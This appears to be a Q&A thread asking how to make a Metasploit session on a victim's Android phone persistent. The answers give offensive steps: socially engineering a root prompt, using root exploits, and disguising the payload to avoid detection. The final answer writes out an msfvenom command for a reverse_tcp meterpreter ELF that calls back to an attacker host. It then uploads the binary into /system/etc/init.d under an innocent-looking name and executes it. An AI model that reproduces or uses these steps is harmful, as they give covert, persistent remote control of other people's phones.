In kali linux 2.0, when I run exploit in msfconsole and the victim opens my payload, how can I force the session to be persistent?
asked Mar 21, 2016 at 18:09
Add a comment
|
2 Answers
For Android platforms, when using the metasploit-framework project, you will need to utilize meterpreter as an APK installation in order to establish persistence.
The androidpayload is available here -- https://github.com/rapid7/metasploit-payloads/tree/master/java
A more-detailed post explaining all of the dependencies can be found here -- https://blog.ask-a.ninja/?p=39
-
3This is not enoguh. The APK will simply install the the stager's component on the victim's phone (which is basically the meterpreter Android Java payload) and launch the stager upon installation, but after reboot, the application won't launch; this is not persistent. To create actual persistence, you'll need a root exploit (there are tens to try from) and you'll need to add
am startof the stager'sMainActivityto/etc/init.d/. Even better, if you have Busybox you can usecrond, or if you know some Java you can modify the Metasploit package to useAlarmManagerto run ever 15 minutes.– AdiMar 21, 2016 at 19:12 -
@ Adi : Great insight, here is an article to perform those actions -- null-byte.wonderhowto.com/how-to/…– atdreMar 21, 2016 at 20:37
-
2Now that I think about it, if you have root access, then it's actually not that good to keep using the Meterpreter APK as it can be spotted in the installed apps. Instead, compile an ARM ELF Meterpreter, copy it to some innocent directory, and symlink it in
init.d(or name it innocently and copy it toinit.dwithout symlinking). As an added bonus, it won't appear in the Android running apps menu. It's far more stealthy.– AdiMar 21, 2016 at 20:54 -
1Or just put meterpreter in an APK that is already loaded during startup -- techkernel.wordpress.com/2015/12/19/…– atdreMar 21, 2016 at 23:01
-
In part a summary of what already has been said:
1) Check if the target has rooted his phone. If he has, use social engineering to request superuser privileges via a prompt with
Runtime.getRuntime().exec("su");
And use the root process to perform step 5 and 6
2) Otherwise find an exploit, for example go here and scroll down to android.
2.5) Hope the target ignores the "New software available!" prompt often
3) Elevate the privileges of you session to root. If you can't, no luck. Hope he charges his phone well.
4) Make an ELF binary that will run at boot
msfvenom -p android/meterpreter/reverse_tcp -f elf LHOST= 192.168.43.107 LPORT=4444 R > /root/backdoor.elf
5) Copy it to the remote location with a normal name (mountsd)
meterpreter> upload backdoor.elf /system/etc/init.d/92mountsd.elf
6) Execute it (or wait for reboot)
meterpreter> execute /system/etc/init.d/92mountsd.elf
